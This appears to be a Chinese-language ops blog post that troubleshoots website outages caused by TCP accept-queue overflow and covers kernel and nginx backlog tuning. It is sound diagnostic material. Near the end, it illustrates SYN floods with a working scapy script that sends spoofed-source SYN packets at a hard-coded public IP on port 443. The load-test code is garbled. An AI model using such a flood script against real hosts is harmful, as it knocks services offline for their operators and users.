問題描述

  1. 監控系統發現電商網站主頁及其它頁面間歇性的無法訪問；

  2. 檢視安全防護和網路流量、應用系統負載均正常；

  3. 系統重啟後，能夠暫時解決，但持續一段時間後間歇性問題再次出現。

此時問題已影響到整個網站的正常業務，我那個心驚呀，最主要是報警系統沒有任何報警，服務執行一切正常，瞬時背上的汗已經出來了。但還是要靜心，來仔細尋找蛛絲馬跡，來一步一步找問題。

問題初步判斷

  • 檢查dev 和 網絡卡裝置層，是否有error和drop ，分析在硬體和系統層是否異常 —– 命令 cat /proc/net/dev 和 ifconfig

  • 觀察socket overflow  和 socket droped（如果應用處理全連線佇列（accept queue）過慢 socket overflow，影響半連線佇列(syn queue)上限溢位socket dropped）—– 命令 netstat -s |grep -i listen

 發現SYN socket overflow  和 socket droped 急增加

  • 檢查sysctl核心引數：backlog ，somaxconn，file-max 和  應用程式的backlog ；

ss -lnt查詢，SEND-Q會取上述引數的最小值

發現當時佇列已經超過網站80埠和443埠預設值

  • 檢查 selinux 和 NetworkManager 是否啟用 ，建議禁用；

  • 檢查timestap ,reuse 啟用，核心recycle是否啟用，如果過NAT，禁用recycle；

  • 抓包判斷請求進來後應用處理的情況，是否收到SYN未響應情況。

深入分析問題 

正常TCP建連線三次握手過程：

  • 第一步：客戶端 傳送 syn 到 服務端發起握手；

  • 第二步：服務端 收到 syn後回覆syn+ack給 客戶端；

  • 第三步：客戶端 收到syn+ack後，回覆 服務端一個ack表示收到了 服務端的syn+ack 。

從描述的情況來看，TCP建連線的時候全連線佇列（accept佇列）滿了，尤其是描述中癥狀為了證明是這個原因。反覆看了幾次之後發現這個overflowed 一直在增加，那麼可以明確的是server上全連線佇列一定上限溢位了。

接著檢視上限溢位後，OS怎麼處理：

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow
0

tcp_abort_on_overflow 為0表示如果三次握手第三步的時候全連線佇列滿了那麼server扔掉client 發過來的ack（在server端認為連線還沒建立起來）

為了證明客戶端應用程式碼的異常跟全連線佇列滿有關係，我先把tcp_abort_on_overflow修改成 1，1表示第三步的時候如果全連線佇列滿了，server傳送一個reset包給client，表示廢掉這個握手過程和這個連線（本來在server端這個連線就還沒建立起來）。

接著測試然後在web服務日誌中異常中可以看到很多connection reset by peer的錯誤，到此證明客戶端錯誤是這個原因導致的。

檢視sysctl核心引數：backlog ，somaxconn，file-max 和  nginx的backlog配置引數，ss -ln取最小值，發現為128，此時resv-q已經在129 ，請求被丟棄。將上述引數修改，併進行最佳化：

  • linux核心參進行最佳化：
    net.ipv4.tcp_syncookies = 1
    net.ipv4.tcp_max_syn_backlog = 16384
    net.core.somaxconn = 16384

  • nginx 配置引數最佳化：
    backlog=32768;

利用python 多執行緒壓測，並未發現新的問題：

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex:
    for each_a_tag in soup.find_all('a'):
        try:
            ex.submit(requests.get,each_a_tag['href'])
        except Exception as err:
            print('return error msg:'+str(err))

理解TCP握手過程中建連線的流程和佇列

如上圖所示，這裡有兩個佇列：syns queue(半連線佇列）；accept queue（全連線佇列）

三次握手中，在第一步server收到client的syn後，把相關資訊放到半連線佇列中，同時回覆syn+ack給client（第二步）；

第三步的時候server收到client的ack，如果這時全連線佇列沒滿，那麼從半連線佇列拿出相關資訊放入到全連線佇列中，否則按tcp_abort_on_overflow指示的執行。

這時如果全連線佇列滿了並且tcp_abort_on_overflow是0的話，server過一段時間再次傳送syn+ack給client（也就是重新走握手的第二步），如果client超時等待比較短，就很容易異常了。

sYN Flood洪水攻擊

當前最流行的DoS（拒絕服務攻擊）與DDoS（分散式拒絕服務攻擊）的方式之一，這是一種利用TCP協議缺陷，導致被攻擊伺服器保持大量SYN_RECV狀態的“半連線”，並且會重試預設5次回應第二個握手包，塞滿TCP等待連線佇列，資源耗盡（CPU滿負荷或記憶體不足），讓正常的業務請求連線不進來。

from concurrent.futures import ThreadPoolExecutor
from scapy.all import *
def synFlood(tgt,dPort):
    srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',
               '125.130.5.199']
    for sPort in range(1024, 65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')
        packet = ipLayer/tcpLayer
        send(packet)

tgt = '139.196.251.198'
print(tgt)
dPort = 443

with ThreadPoolExecutor(10000000) as ex:
    try:
        ex.submit(synFlood(tgt,dPort))
    except Exception as err:
        print('return error msg:' + str(err))

所以大家要對TCP半連線佇列和全連線佇列的問題很容易被忽視，但是又很關鍵，特別是對於一些短連線應用更容易爆發。

出現問題後，從網路流量、cpu、執行緒、負載來看都比較正常，在使用者端來看rt比較高，但是從伺服器端的日誌看rt又很短。如何避免在出現問題時手忙腳亂，建立起應急機機制，後續有機會寫一下應急方面的文章。

作者：劉曉明，五礦電商（五阿哥：www.wuage.com）公司運維技術負責人，擁有10年的網際網路開發和運維經驗。一直致力於運維工具的開發和運維專家服務的推進，賦能開發，提高效能。

來源：知乎

連結：https://zhuanlan.zhihu.com/p/36731397